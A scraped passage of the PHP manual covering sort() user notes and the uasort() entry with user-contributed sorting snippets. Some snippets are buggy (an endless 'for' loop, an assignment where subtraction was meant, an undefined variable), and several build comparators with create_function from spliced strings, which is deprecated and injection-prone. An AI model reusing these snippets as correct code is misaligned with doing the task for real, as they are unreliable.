foreach ($array as $key => $value) {
    $new[$key] = $value;
}
return $new;
}

print_r (array_unique_merge_sort($array1, $array2));

?>

this will print out:

Array ( [0] => apple [1] => banana [2] => grape [3] => orange [4] => pear )
alishahnovin at hotmail dot com 26-May-2007 01:11
I had a multidimensional array, which needed to be sorted by one of the keys. This is what I came up with...

<?php
function msort($array, $id="id") {
        $temp_array = array();
        while(count($array)>0) {
            $lowest_id = 0;
            $index=0;
            foreach ($array as $item) {
                if ($item[$id]<$array[$lowest_id][$id]) {
                    $lowest_id = $index;
                }
                $index++;
            }
            $temp_array[] = $array[$lowest_id];
            $array = array_merge(array_slice($array, 0,$lowest_id), array_slice($array, $lowest_id+1));
        }
        return $temp_array;
    }
?>

Ex:

<?php

//oh no, this is not in the ordered by id!!
$data[] = array("item"=>"item 4", "id"=>4);
$data[] = array("item"=>"item 1", "id"=>1);
$data[] = array("item"=>"item 3", "id"=>3);
$data[] = array("item"=>"item 2", "id"=>2);

var_dump(  msort($data)  ); //just msort it!

/* outputs

array
  0 =>
    array
      'item' => 'item 1' (length=6)
      'id' => 1
  1 =>
    array
      'item' => 'item 2' (length=6)
      'id' => 2
  2 =>
    array
      'item' => 'item 3' (length=6)
      'id' => 3
  3 =>
    array
      'item' => 'item 4' (length=6)
      'id' => 4

*/

?>
joris at mangrove dot nl 01-Feb-2007 02:40
Commenting on note http://www.php.net/manual/en/function.sort.php#62311 :

Sorting an array of objects will not always yield the results you desire.

As pointed out correctly in the note above, sort() sorts the array by value of the first member variable. However, you can not always assume the order of your member variables! You must take into account your class hierarchy!

By default, PHP places the inherited member variables on top, meaning your first member variable is NOT the first variable in your class definition!
However, if you use code analyzers or a compile cache, things can be very different. E.g., in eAccelerator, the inherited member variables are at the end, meaning you get different sort results with caching on or off.

Conclusion:
Never use sort on arrays with values of a type other than scalar or array.
alex [at] vkpb [dot] com 26-Jan-2007 12:36
Sorting of an array by a method of inserts.

<?

       function sortByField($multArray,$sortField,$desc=true){
            $tmpKey='';
            $ResArray=array();

            $maIndex=array_keys($multArray);
            $maSize=count($multArray)-1;

            for($i=0; $i < $maSize ; $i++) {

               $minElement=$i;
               $tempMin=$multArray[$maIndex[$i]][$sortField];
               $tmpKey=$maIndex[$i];

                for($j=$i+1; $j <= $maSize; $j++)
                  if($multArray[$maIndex[$j]][$sortField] < $tempMin ) {
                     $minElement=$j;
                     $tmpKey=$maIndex[$j];
                     $tempMin=$multArray[$maIndex[$j]][$sortField];

                  }
                  $maIndex[$minElement]=$maIndex[$i];
                  $maIndex[$i]=$tmpKey;
            }

           if($desc)
               for($j=0;$j<=$maSize;$j++)
                  $ResArray[$maIndex[$j]]=$multArray[$maIndex[$j]];
           else
              for($j=$maSize;$j>=0;$j--)
                  $ResArray[$maIndex[$j]]=$multArray[$maIndex[$j]];

           return $ResArray;
       }

// make array
$array['aaa']=array("name"=>"vasia","order"=>1);
$array['bbb']=array("name"=>"petia","order"=>2);
$array['ccc']=array("name"=>"kolia","order"=>3);
$array['ddd']=array("name"=>"zenia","order"=>4);

// set sort
$SortOrder=0; // desc by default , 1- asc

var_dump(sortByField($array,'order',$SortOrder));

array
  'ddd' =>
    array
      'name' => 'zenia' (length=5)
      'order' => 4
  'aaa' =>
    array
      'name' => 'vasia' (length=5)
      'order' => 1
  'bbb' =>
    array
      'name' => 'petia' (length=5)
      'order' => 2
  'ccc' =>
    array
      'name' => 'kolia' (length=5)
      'order' => 3

?>
g8z at yahoo dot com 15-Jul-2006 01:28
<?php
/**
This sort function allows you to sort an associative array while "sticking" some fields.

$sticky_fields = an array of fields that should not be re-sorted. This is a method of achieving sub-sorts within contiguous groups of records that have common data in some fields.

For example:

$a = array();

$a []= array(
    'name'         => 'Sam',
    'age'         => 23,
    'hire_date'    => '2004-01-01'
);
$a []= array(
    'name'        => 'Sam',
    'age'        => 44,
    'hire_date'    => '2003-03-23'
);
$a []= array(
    'name'        => 'Jenny',
    'age'        => 20,
    'hire_date' => '2000-12-31'
);
$a []= array(
    'name'        => 'Samantha',
    'age'        => 50,
    'hire_date' => '2000-12-14'
);

$sticky_fields = array( 'name' );
print_r( stickysort( $a, 'age', DESC_NUM, $sticky_fields ) );

OUTPUT:

Array
(
    [0] => Array
        (
            [name] => Sam
            [age] => 44
            [hire_date] => 2003-03-23
        )
    [1] => Array
        (
            [name] => Sam
            [age] => 23
            [hire_date] => 2004-01-01
        )
    [2] => Array
        (
            [name] => Jenny
            [age] => 20
            [hire_date] => 2000-12-31
        )
    [3] => Array
        (
            [name] => Samantha
            [age] => 50
            [hire_date] => 2000-12-14
        )
)

Here's why this is the correct output - the "name" field is sticky, so it cannot change its sort order. Thus, the "age" field is only sorted as a sub-sort within records where "name" is identical. Thus, the "Sam" records are reversed, because 44 > 23, but Samantha remains at the bottom, even though her age is 50. This is a way of achieving "sub-sorts" and "sub-sub-sorts" (and so on) within records of identical data for specific fields.

Courtesy of the $5 Script Archive: http://www.tufat.com
**/

define( 'ASC_AZ', 1000 );
define( 'DESC_AZ', 1001 );
define( 'ASC_NUM', 1002 );
define( 'DESC_NUM', 1003 );

function stickysort( $arr, $field, $sort_type, $sticky_fields = array() ) {
    $i = 0;
    foreach ($arr as $value) {
        $is_contiguous = true;
        if(!empty($grouped_arr)) {
            $last_value = end($grouped_arr[$i]);

            if(!($sticky_fields == array())) {
                foreach ($sticky_fields as $sticky_field) {
                    if ($value[$sticky_field] <> $last_value[$sticky_field]) {
                        $is_contiguous = false;
                        break;
                    }
                }
            }
        }
        if ($is_contiguous)
            $grouped_arr[$i][] = $value;
        else
            $grouped_arr[++$i][] = $value;
    }
    $code = '';
    switch($sort_type) {
        case ASC_AZ:
            $code .= 'return strcasecmp($a["'.$field.'"], $b["'.$field.'"]);';
            break;
        case DESC_AZ:
            $code .= 'return (-1*strcasecmp($a["'.$field.'"], $b["'.$field.'"]));';
            break;
        case ASC_NUM:
            $code .= 'return ($a["'.$field.'"] - $b["'.$field.'"]);';
            break;
        case DESC_NUM:
            $code .= 'return ($b["'.$field.'"] - $a["'.$field.'"]);';
            break;
    }

    $compare = create_function('$a, $b', $code);

    foreach($grouped_arr as $grouped_arr_key=>$grouped_arr_value)
        usort ( $grouped_arr[$grouped_arr_key], $compare );

    $arr = array();
    foreach($grouped_arr as $grouped_arr_key=>$grouped_arr_value)
        foreach($grouped_arr[$grouped_arr_key] as $grouped_arr_arr_key=>$grouped_arr_arr_value)
            $arr[] = $grouped_arr[$grouped_arr_key][$grouped_arr_arr_key];

    return $arr;
}
?>
g8z at yahoo dot com 10-Jul-2006 05:58
<?php
/**
This sort function allows you to sort an associative array while "sticking" some fields.

$sticky_fields = an array of fields that should not be re-sorted. This is a method of achieving sub-sorts within contiguous groups of records that have common data in some fields.

Courtesy of the $5 Script Archive: http://www.tufat.com
**/

define( 'ASC_AZ', 1000 );
define( 'DESC_AZ', 1001 );
define( 'ASC_NUM', 1002 );
define( 'DESC_NUM', 1003 );

function stickysort( $arr, $field, $sort_type, $sticky_fields = array() ) {
    $i = 0;
    foreach ($arr as $value) {
        $is_contiguous = true;
        if(!empty($grouped_arr)) {
            $last_value = end($grouped_arr[$i]);

            if(!($sticky_fields == array())) {
                foreach ($sticky_fields as $sticky_field) {
                    if ($value[$sticky_field] <> $last_value[$sticky_field]) {
                        $is_contiguous = false;
                        break;
                    }
                }
            }
        }
        if ($is_contiguous)
            $grouped_arr[$i][] = $value;
        else
            $grouped_arr[++$i][] = $value;
    }
    $code = '';
    switch($sort_type) {
        case ASC_AZ:
            $code .= 'return strcasecmp($a["'.$field.'"], $b["'.$field.'"]);';
            break;
        case DESC_AZ:
            $code .= 'return (-1*strcasecmp($a["'.$field.'"], $b["'.$field.'"]));';
            break;
        case ASC_NUM:
            $code .= 'return ($a["'.$field.'"] - $b["'.$field.'"]);';
            break;
        case DESC_NUM:
            $code .= 'return ($b["'.$field.'"] - $a["'.$field.'"]);';
            break;
    }

    $compare = create_function('$a, $b', $code);

    foreach($grouped_arr as $grouped_arr_key=>$grouped_arr_value)
        usort ( $grouped_arr[$grouped_arr_key], $compare );

    $arr = array();
    foreach($grouped_arr as $grouped_arr_key=>$grouped_arr_value)
        foreach($grouped_arr[$grouped_arr_key] as $grouped_arr_arr_key=>$grouped_arr_arr_value)
            $arr[] = $grouped_arr[$grouped_arr_key][$grouped_arr_arr_key];

    return $arr;
}
?>
Emiliyan at ServicesBG dot Com 29-Mar-2006 04:41
#This is a function that will sort an array...
function sort_by($array,  $keyname = null, $sortby) {
   $myarray = $inarray = array();
   # First store the keyvalues in a seperate array
    foreach ($array as $i => $befree) {
        $myarray[$i] = $array[$i][$keyname];
    }
   # Sort the new array by
    switch ($sortby) {
    case 'asc':
    # Sort an array and maintain index association...
    asort($myarray);
    break;
    case 'arsort':
    # Sort an array in reverse order and maintain index association
    arsort($myarray);
    break;
    case 'natcasesor':
    # Sort an array using a case insensitive "natural order" algorithm
    natcasesort($myarray);
    break;
    }
    # Rebuild the old array
    foreach ( $myarray as $key=> $befree) {
       $inarray[$key] = $array[$key];
    }
    return $inarray;
}
sort_by(); example...
$info = sort_by($myarray, 'name', $use = 'asc');
print_r($info);
ludvig dot ericson at gmail dot com 25-Feb-2006 06:48
A tip for those who like "raul at jimi dot com dot mx" need to preserve keys after changing stuff in the middle of an array:
array_values.

Example:
<?php
$array = array(1, 2, 5, 9, 3);
unset($array[3]); // Remove index 3, which is 9.
$array = array_values($array);
?>

Hint: array_values can be fine for removing keys and reindex them by number instead, too (applies to functions like posix_pwgetuid which returns an associative array, unlike C and others, call array_values on it, and it'll be the same format IIRC.)
jesper at snt dot utwente dot nl 24-Feb-2006 10:26
If you sort an array of objects, the first variable in the object will be used for sorting:

<?php
class foo
{
  var $value; //First variable: Used for sorting
  var $id;

  function foo($i, $v)
  {
     $this->id = $i;
     $this->value = $v;
  }

}

for ($i = 0; $i < 10; $i++)
{
  $bar[] = new foo($i,rand(1,10));
}

// This will sort on value
sort($bar);
print_r($bar);
?>

Compare the piece of code above with the following:

<?php
class foo
{
  var $id; //First variable: Used for sorting
  var $value;

  function foo($i, $v)
  {
     $this->id = $i;
     $this->value = $v;
  }

}

for ($i = 0; $i = 10; $i++)
{
  $bar[] = new foo($i,rand(1,10));
}

// This will sort on id
sort($bar);
print_r($bar);
?>

As you can see the location of declaration of the variables matter!
If you want to sort on both or on a combination of variables, use ksort()
jerome a-t+ yamafoto d*o*t com 22-Feb-2006 06:39
when sorting an array, beware of variable type from elements you put in this array

Example:

$a = 2; // $a is an integer
$b = 'item';
$arr = array($a, $b);
sort($arr);

print_r($arr);

this will output:
$arr[0] = 'item';
$arr[1] = 2;

$a = '2'; // $a is a string
$b = 'item';
$arr = array($a, $b);
sort($arr);

print_r($arr);

this will output:
$arr[0] = '2';
$arr[1] = 'item'

to avoid this problem use:

sort($arr, SORT_STRING)
nm at thenoodleman dot com 31-Jan-2006 02:18
Faster, more effective function:

array_sort (array, ['asc'/'desc'])

Second parameter specifies whether to order ascending or descending. Default is ascending.

function array_sort($array, $type='asc'){
    $result=array();
    foreach($array as $var => $val){
        $set=false;
        foreach($result as $var2 => $val2){
            if($set==false){
                if($val>$val2 && $type=='desc' || $val<$val2 && $type=='asc'){
                    $temp=array();
                    foreach($result as $var3 => $val3){
                        if($var3==$var2) $set=true;
                        if($set){
                            $temp[$var3]=$val3;
                            unset($result[$var3]);
                        }
                    }
                    $result[$var]=$val;
                    foreach($temp as $var3 => $val3){
                        $result[$var3]=$val3;
                    }
                }
            }
        }
        if(!$set){
            $result[$var]=$val;
        }
    }
    return $result;
}

Works for ordering by integers or strings, no need to specify which.

Example:

$array=array('a' => 50, 'b' => 25, 'c' => 75);
print_r(array_sort($array));

Returns:
Array
(
[b] => 25
[a] => 50
[c] => 75
)
james at miicro dot net 24-Jan-2006 07:26
Further to john dot dutcher at highmark dot com's comments - padding the name could cause a problem if you get abnormally long names, it might be better to rebuild the array thus:

Array (
[0] => Array ( [sortname_01] => Dutcher [sortname_02] => F [sortname_03] => John [name] => Dutcher, John F )
[1] => Array ( [sortname_01] => Dutch [sortname_02] => A [sortname_03] => Roger [name] => Dutch, Roger A )
[2] => Array ( [sortname_01] => Dut [sortname_02] => H [sortname_03] => Maurice [name] => Dut, Maurice H )
[3] => Array ( [sortname_01] => Dut [sortname_02] => S [sortname_03] => Mildred [name] => Dut, Mildred S )
)

which should give:

Array (
[0] => Array ( [sortname_01] => Dut [sortname_02] => H [sortname_03] => Maurice [name] => Dut, Maurice H )
[1] => Array ( [sortname_01] => Dut [sortname_02] => S [sortname_03] => Mildred [name] => Dut, Mildred S )
[2] => Array ( [sortname_01] => Dutch [sortname_02] => A [sortname_03] => Roger [name] => Dutch, Roger A )
[3] => Array ( [sortname_01] => Dutcher [sortname_02] => F [sortname_03] => John [name] => Dutcher, John F )
)
raul at jimi dot com dot mx 02-Dec-2005 06:50
I had an array like this:
$arr=array (1,4,3,6,5);

which returns this:
$arr[0]=1
$arr[1]=4
$arr[2]=3
$arr[3]=6
$arr[4]=5

But lets say i remove [2] which is number 3, i get:

$arr[0]=1
$arr[1]=4
$arr[3]=6
$arr[4]=5

And i want to reindex without doing a sort because i dont want to lose the order of the numbers (like a pop in a stack but in the middle of the list), i do this:

$arr=array_chunk($arr,count($arr));
$arr=$arr[0];

the result is:

$arr[0]=1
$arr[1]=4
$arr[2]=6
$arr[3]=5

This can be applied mostly for tree sorting, when you only have the id and the parent values of the node, and you want to have N levels.
james at miicro dot net 19-Jul-2005 11:49
It's useful to know that if you're using this function on a multidimensional array, php will sort the first key, then the second and so on. This is similar to being able to use SQL to order by field1, field2 etc.

So:

Array (
[0] => Array ( [category] => work [name] => Smith )
[1] => Array ( [category] => play [name] => Johnson )
[2] => Array ( [category] => work [name] => Berger )
)

will become:

Array (
[0] => Array ( [category] => play [name] => Johnson )
[1] => Array ( [category] => work [name] => Berger )
[2] => Array ( [category] => work [name] => Smith )
)

Hope it helps someone.
timc at hlyw dot com 18-Feb-2005 01:04
I dig the multi_sort function(s) from above.  But, they don't work for hash arrays.  I added a keys variable to keep track of the key value as the array gets sorted.  Feed back welcome.

<?php
function array_qsort (&$array, $column=0, $order=SORT_ASC, $first=0, $last= -2)
{
  // $array  - the array to be sorted
  // $column - index (column) on which to sort
  //          can be a string if using an associative array
  // $order  - SORT_ASC (default) for ascending or SORT_DESC for descending
  // $first  - start index (row) for partial array sort
  // $last  - stop  index (row) for partial array sort
  // $keys  - array of key values for hash array sort

  $keys = array_keys($array);
  if($last == -2) $last = count($array) - 1;
  if($last > $first) {
   $alpha = $first;
   $omega = $last;
   $key_alpha = $keys[$alpha];
   $key_omega = $keys[$omega];
   $guess = $array[$key_alpha][$column];
   while($omega >= $alpha) {
     if($order == SORT_ASC) {
       while($array[$key_alpha][$column] < $guess) {$alpha++; $key_alpha = $keys[$alpha]; }
       while($array[$key_omega][$column] > $guess) {$omega--; $key_omega = $keys[$omega]; }
     } else {
       while($array[$key_alpha][$column] > $guess) {$alpha++; $key_alpha = $keys[$alpha]; }
       while($array[$key_omega][$column] < $guess) {$omega--; $key_omega = $keys[$omega]; }
     }
     if($alpha > $omega) break;
     $temporary = $array[$key_alpha];
     $array[$key_alpha] = $array[$key_omega]; $alpha++;
     $key_alpha = $keys[$alpha];
     $array[$key_omega] = $temporary; $omega--;
     $key_omega = $keys[$omega];
   }
   array_qsort ($array, $column, $order, $first, $omega);
   array_qsort ($array, $column, $order, $alpha, $last);
  }
}
?>
anthony at ectrolinux dot com 09-Sep-2004 01:39
In a brief addition to the previous poster's message, the ascending sorting order used by PHP directly corresponds to ISO-8859-1 (ASCII). Therefore the character \48 (numeral 0) would be placed before the character \82 (R), which would be placed before the character \110 (n), and so forth.
teunkloosterman at hotmail dot com 30-Aug-2004 10:14
Just to show how it sorts:

<?php
$array = Array("1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", " ", "!", "@", "#", "\\\$", "%", "^", "&", "*", "(", ")", "_", "-", "=", "+", "\\\\", "|", ",", "<", ".", ">", "?", "'", "\\\"", "`", "~");
sort($array);
echo implode("", $array);
?>

returns:

 !"#$%&'()*+,-.0123456789<=>?
@ABCDEFGHIJKLMNOPQRSTUVWXYZ
\^_`abcdefghijklmnopqrstuvwxyz|~

note: the result begins with a space
arjan321 at hotmail dot com 31-Jan-2003 09:23
Ik you want to sort case insensitive, use the natcasesort()
phpdotnetNO_SPAM at electronic-strategy dot com 05-Jul-2001 06:34
/*
Small function to Alphabetically sort Multidimensional arrays by index values of an n dimension array.

I have only tested this for sorting an array of up to 6 dimensions by a value within the second dimension. This code is very rough and works for my purposes, but has not been tested beyond my needs.

Although a little clunky and not a mathematical type algorithm, it get's the job done. It theoretically overcomes many of the problems I have seen with multidimensional arrays in that it is possible to specify within the function, not by reference :-(, which index you wish to sort by, no matter how many dimensions down.

call function by assigning it to a new / existing array:

$row_array = multidimsort($row_array);
*/

function multidimsort($array_in) {
     $multiarray = array();
    $array_out = array();
    $loopvalue = 0;

    /* -1 as traversal of array starts from 0, count() starts from 1 */
    $multicount = count($array_in) - 1;

    /* add the indexes you wish to sort array by to a new array in this case index is two levels down, but shouldn't make a difference if it goes further indexes down. (Not tested!) */
    for($i = 0; $i <= $multicount; $i++) {
        array_push($multiarray, $array_in[$i][2]);
        //array_push($multiarray, $array_in[$i][2][4]);
        //array_push($multiarray, $array_in[$i][1][3][7]);
    }

    /* alphabetically sort the new array (Ascending in this case) can chage sort to whatever type you like. Even apply user-defined sort. */
    asort($multiarray);

    /* reset internal pointer to beginning of array after above sort */
    reset($multiarray);

    /* traverse new array of index values and add the corresponding element of the input array to the correct position in the output array */
    while (list ($key, $val) = each ($multiarray)) {

        $array_out[$loopvalue] = $array_in[$key];

        $loopvalue++;
    }

    /* return the output array which is all nicely sorted by the index you wanted! */
    return $array_out;
}
peek at mailandnews dot com 07-Apr-2001 01:06
I ran into the same problem with case insensitive sorting. Actually I think there should be a SORT_STRING_CASE flag but I tried the following:

usort($listing, 'strcasecmp');

This didn't work (why not?), but you can do a proper case insensitive sort like this:

usort($listing, create_function('$a,$b','return strcasecmp($a,$b);'));


Sort an array with a user-defined comparison function and maintain index association

  • « sort
  • uksort »
  • PHP Manual
  • Array Functions
  • Sort an array with a user-defined comparison function and maintain index association

uasort

(PHP 4, PHP 5)

uasort — Sort an array with a user-defined comparison function and maintain index association

Description

bool uasort ( array &$array , callable $value_compare_func )

This function sorts an array such that array indices maintain their correlation with the array elements they are associated with, using a user-defined comparison function.

This is used mainly when sorting associative arrays where the actual element order is significant.

Note:

If two members compare as equal, their relative order in the sorted array is undefined.

Parameters

array

The input array.

value_compare_func

See usort() and uksort() for examples of user-defined comparison functions.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Basic uasort() example

<?php
// Comparison function
function cmp($a, $b) {
    if ($a == $b) {
        return 0;
    }
    return ($a < $b) ? -1 : 1;
}

// Array to be sorted
$array = array('a' => 4, 'b' => 8, 'c' => -1, 'd' => -9, 'e' => 2, 'f' => 5, 'g' => 3, 'h' => -4);
print_r($array);

// Sort and print the resulting array
uasort($array, 'cmp');
print_r($array);
?>

The above example will output:

Array
(
    [a] => 4
    [b] => 8
    [c] => -1
    [d] => -9
    [e] => 2
    [f] => 5
    [g] => 3
    [h] => -4
)
Array
(
    [d] => -9
    [h] => -4
    [c] => -1
    [e] => 2
    [g] => 3
    [a] => 4
    [f] => 5
    [b] => 8
)

See Also

  • usort() - Sort an array by values using a user-defined comparison function
  • The comparison of array sorting functions

User Contributed Notes

php at clement dot hk 05-Mar-2014 01:00
If you want to keep the order when two members compare as equal, use this.
<?php

function stable_uasort(&$array, $cmp_function) {
    if(count($array) < 2) {
        return;
    }
    $halfway = count($array) / 2;
    $array1 = array_slice($array, 0, $halfway, TRUE);
    $array2 = array_slice($array, $halfway, NULL, TRUE);

    stable_uasort($array1, $cmp_function);
    stable_uasort($array2, $cmp_function);
    if(call_user_func($cmp_function, end($array1), reset($array2)) < 1) {
        $array = $array1 + $array2;
        return;
    }
    $array = array();
    reset($array1);
    reset($array2);
    while(current($array1) && current($array2)) {
        if(call_user_func($cmp_function, current($array1), current($array2)) < 1) {
            $array[key($array1)] = current($array1);
            next($array1);
        } else {
            $array[key($array2)] = current($array2);
            next($array2);
        }
    }
    while(current($array1)) {
        $array[key($array1)] = current($array1);
        next($array1);
    }
    while(current($array2)) {
        $array[key($array2)] = current($array2);
        next($array2);
    }
    return;
}

function cmp($a, $b) {
    if($a['n'] == $b['n']) {
        return 0;
    }
    return ($a['n'] > $b['n']) ? -1 : 1;
}

$a = $b = array(
    'a' => array("l" => "A", "n" => 1),
    'b' => array("l" => "B", "n" => 2),
    'c' => array("l" => "C", "n" => 1),
    'd' => array("l" => "D", "n" => 2),
    'e' => array("l" => "E", "n" => 2),
);

uasort($a, 'cmp');
print_r($a);

stable_uasort($b, 'cmp');
print_r($b);
?>

returns

Array
(
    [e] => Array
        (
            [l] => E
            [n] => 2
        )

    [b] => Array
        (
            [l] => B
            [n] => 2
        )

    [d] => Array
        (
            [l] => D
            [n] => 2
        )

    [c] => Array
        (
            [l] => C
            [n] => 1
        )

    [a] => Array
        (
            [l] => A
            [n] => 1
        )

)
Array
(
    [b] => Array
        (
            [l] => B
            [n] => 2
        )

    [d] => Array
        (
            [l] => D
            [n] => 2
        )

    [e] => Array
        (
            [l] => E
            [n] => 2
        )

    [a] => Array
        (
            [l] => A
            [n] => 1
        )

    [c] => Array
        (
            [l] => C
            [n] => 1
        )
)

https://bugs.php.net/bug.php?id=53341
Anonymous 16-Aug-2013 07:35
//this fix the problem of if any of these sort functions evaluates two members as equal then the order is undefined (the sorting is not stable).

$pos=0;
foreach($values as $k => $v)
  $tosort[$k]=array($v,$pos++);
uasort($tosort,function($a, $b) {
  if($a[0] != $b[0])return ($a[0] < $b[0]) ? -1 : 1;
    return ($a[1] < $b[1]) ? -1 : 1;}
);
foreach($tosort as $k => $v)
  $values[$k]=$v[0];
iborodikhin at gmail dot com 22-Nov-2012 05:32
To shuffle assoc array preserving keys just do this:
<?php uasort(
    $array,
    function ($a, $b) {
        return mt_rand(0, 1) > 0 ? 1 : -1;
    }
); ?>
Said Dashuk 12-Oct-2011 07:33
My simple and effective solution for sort multi-dimensional array by any key:

<?php
function sort_by_key ($arr,$key) {
    global $key2sort;
    $key2sort = $key;
    uasort($arr, 'sbk');
    return ($arr);
}
function sbk ($a, $b) {global $key2sort; return (strcasecmp ($a[$key2sort],$b[$key2sort]));}
?>
clem at fragment dot at 31-Aug-2011 01:57
for a simple case insensitive compare you can use this (php >= 5.3):

<?php
$greetings = array('howdy', 'Hey', 'aloha he');

uasort($a, function($a, $b){ return strcasecmp($a, $b); });

//$a == array('aloha he', 'howdy', 'Hey');
?>
yannick dot battail at gmail dot com 17-Nov-2010 03:37
An Example using anonymous function.
Anonymous functions make some time the code easier to understand.
<?php
$fruits = array('Orange9','Orange11','Orange10','Orange6','Orange15');
uasort ( $fruits , function ($a, $b) {
            return strnatcmp($a,$b); // or other function/code
        }
    );
print_r($fruits);
?>
returns
Array
(
    [3] => Orange6
    [0] => Orange9
    [2] => Orange10
    [1] => Orange11
    [4] => Orange15
)
magikMaker 19-Oct-2010 11:48
a quick reminder on the syntax if you want to use uasort in a Class or Object:

<?php

// procedural:
uasort($collection, 'my_sort_function');

// Object Oriented
uasort($collection, array($this, 'mySortMethod'));

// Objet Oriented with static method
uasort($collection, array('self', 'myStaticSortMethod'));

?>
Yves 08-Oct-2010 09:20
Took me some time to figure that out:
the user function must return an *integer*, if you return a float, you may not get the expected result.

<?php
  $a = ('a' => 0.9, 'b' => 0.7, 'c' => 0.8);

  function sorting($a, $b) { return $a - $b; }

  // The function above will not =work, you have to

  function sorting($a, $b)
  {
   $d = $a = $b;
    return $d < 0 ? -1 : ($d > 0 ? 1 : 0);
  }
?>
phire_sk 05-Oct-2010 11:19
I tried using some of the previous built multisorts, but they weren't working as expected.

So, I made my own Class, and it seems to work wonderfully.

Here is the code:

<?php
/************************************
*    Allows sorting multi-dimensional
*    arrays by a specific key and in
*    asc or desc order
**/
class multiSort
{
    var $key;    //key in your array

    //runs the sort, and returns sorted array
    function run ($myarray, $key_to_sort, $type_of_sort = '')
    {
        $this->key = $key_to_sort;

        if ($type_of_sort == 'desc')
            uasort($myarray, array($this, 'myreverse_compare'));
        else
            uasort($myarray, array($this, 'mycompare'));

        return $myarray;
    }

    //for ascending order
    function mycompare($x, $y)
    {
        if ( $x[$this->key] == $y[$this->key] )
            return 0;
        else if ( $x[$this->key] < $y[$this->key] )
            return -1;
        else
            return 1;
    }

    //for descending order
    function myreverse_compare($x, $y)
    {
        if ( $x[$this->key] == $y[$this->key] )
            return 0;
        else if ( $x[$this->key] > $y[$this->key] )
            return -1;
        else
            return 1;
    }
}
?>
stephan dot hoyer at netresearch dot de 22-Jul-2010 02:17
To sort string containing Umlauts you can use this callback function:

<?php
    function sortWUmlauts($s1, $s2)
    {
        $search = array('Ä','Ö','Ü','ß');
        $replace = array('A','O','U','s');
        return strcmp(
           str_ireplace($search, $replace, $s1),
           str_ireplace($search, $replace, $s2)
           );
    }
?>

simply call:

<?php uasort($array, 'sortWUmlauts'); ?>
paul at webtop-designs dot com 30-Nov-2009 10:40
Just expanding on php arobase kochira period com's method:

If you are looking to sort a multi-D array by a specific column and have entries in both upper and lower case, simply drop the entries to lowercase before doing the strcmp.

<?php
$dirs = array(
  array('name' => 'First Folder', 'path' => 'sompath'),
  array('name' => 'second folder', 'path' => 'sompath2'),
  array('name' => 'Third Folder', 'path' => 'sompath3')
);

function so($a, $b) {
    return (strcmp (strtolower($a['name']), strtolower($b['name'])));
}
?>
php arobase kochira period com 08-Jun-2008 01:13
Difference between uasort() and usort(), the missing example ...

<?php
  $arr = array ( 10 => array('id' => 'dix',  'aa' => '1010'),
                100 => array('id' => 'cent', 'aa' => '100100'),
                  2 => array('id' => 'deux', 'aa' => '22'),
                  7 => array('id' => 'sept', 'aa' => '77'));

  // id sorting
  function so ($a, $b) { return (strcmp ($a['id'],$b['id']));    }
?>

*** uasort($arr, 'so') output:

<?php Array (
    [100] => Array
        (
            [id] => cent
            [aa] => 100100
        )

    [2] => Array
        (
            [id] => deux
            [aa] => 22
        )

    [10] => Array
        (
            [id] => dix
            [aa] => 1010
        )

    [7] => Array
        (
            [id] => sept
            [aa] => 77
        ))?>

*** usort($arr, 'so') output:

<?php Array (
    [0] => Array
        (
            [id] => cent
            [aa] => 100100
        )

    [1] => Array
        (
            [id] => deux
            [aa] => 22
        )

    [2] => Array
        (
            [id] => dix
            [aa] => 1010
        )

    [3] => Array
        (
            [id] => sept
            [aa] => 77
        ))?>
david [__at__] castlelaing.com 10-May-2004 06:28
WARNING:-Regarding remmy.cjb.net (22-Oct-2003 05:57) mutisort() function:

Sorting by floating point numbers doesn't work in the current function. Use the modified version below if you want to sort by a floating point column.

<?php
// Based on the other notes given before.
// Sorts an array (you know the kind) by key
// and by the comparison operator you prefer.

// Note that instead of most important criteron first, it's
// least important criterion first.

// The default sort order is ascending, and the default sort
// type is strnatcmp.

// function multisort($array[, $key, $order, $type]...)
function multisort($array)
{
   for($i = 1; $i < func_num_args(); $i += 3)
   {
       $key = func_get_arg($i);
       if (is_string($key)) $key = '"'.$key.'"';

       $order = true;
       if($i + 1 < func_num_args())
           $order = func_get_arg($i + 1);

       $type = 0;
       if($i + 2 < func_num_args())
           $type = func_get_arg($i + 2);

       switch($type)
       {
           case 1: // Case insensitive natural.
               $t = 'strcasecmp($a[' . $key . '], $b[' . $key . '])';
               break;
           case 2: // Numeric.
               $t = '($a[' . $key . '] == $b[' . $key . ']) ? 0:(($a[' . $key . '] < $b[' . $key . ']) ? -1 : 1)';
               break;
           case 3: // Case sensitive string.
               $t = 'strcmp($a[' . $key . '], $b[' . $key . '])';
               break;
           case 4: // Case insensitive string.
               $t = 'strcasecmp($a[' . $key . '], $b[' . $key . '])';
               break;
           default: // Case sensitive natural.
               $t = 'strnatcmp($a[' . $key . '], $b[' . $key . '])';
               break;
       }
       echo $t;
       usort($array, create_function('$a, $b', '; return ' . ($order ? '' : '-') . '(' . $t . ');'));
   }
   return $array;
}
?>
php at eden2 dot com 17-Jul-2003 01:36
Is it just me, or are the examples below misleading, and actually demonstrating situations that would be more appropriate for usort()?

After trying to make sense of the uasort() description, it sounds like it's more for sorting a 1D array like this:

"john" => "$23.12"
"tim" => "$6.50"
"bob" => "$18.54"

and getting back:

"tim" => "$6.50"
"bob" => "$18.54"
"john" => $23.12"

(assuming, of course, that your sort function is lopping off the $ and evaluating as a number -- which would complicate the use of asort() ;)
naholyr at yahoo dot fr 10-Jan-2003 06:35
You can sort a multidimensionnal array by any of its key with this function:

function multi_sort($array, $key)
{
  $cmp_val="((\$a['$key']>\$b['$key'])?1:
    ((\$a['$key']==\$b['$key'])?0:-1))";
  $cmp=create_function('$a, $b', "return $body;");
  uasort($array, $cmp);
  return $array;
}

example:
$myarray = array(
  array("name"=>"kernighan", "language"=>"c"),
  array("name"=>"lerdorf", "language"=>"php"),
  array("name"=>"Stroustrup", "language"=>"c++"),
  array("name"=>"Gosling", "language"=>"java")
);

multi_sort($myarray, "name") returns:
name=Gosling    language=java
name=Kernighan    language=c
name=Lerdorf    language=php
name=Stroustrup    language=c++
dholmes at jccc d0t net 09-Oct-2002 11:27
Here is a little sort function that actually uses a dynamic callback for usort to do it's thing.

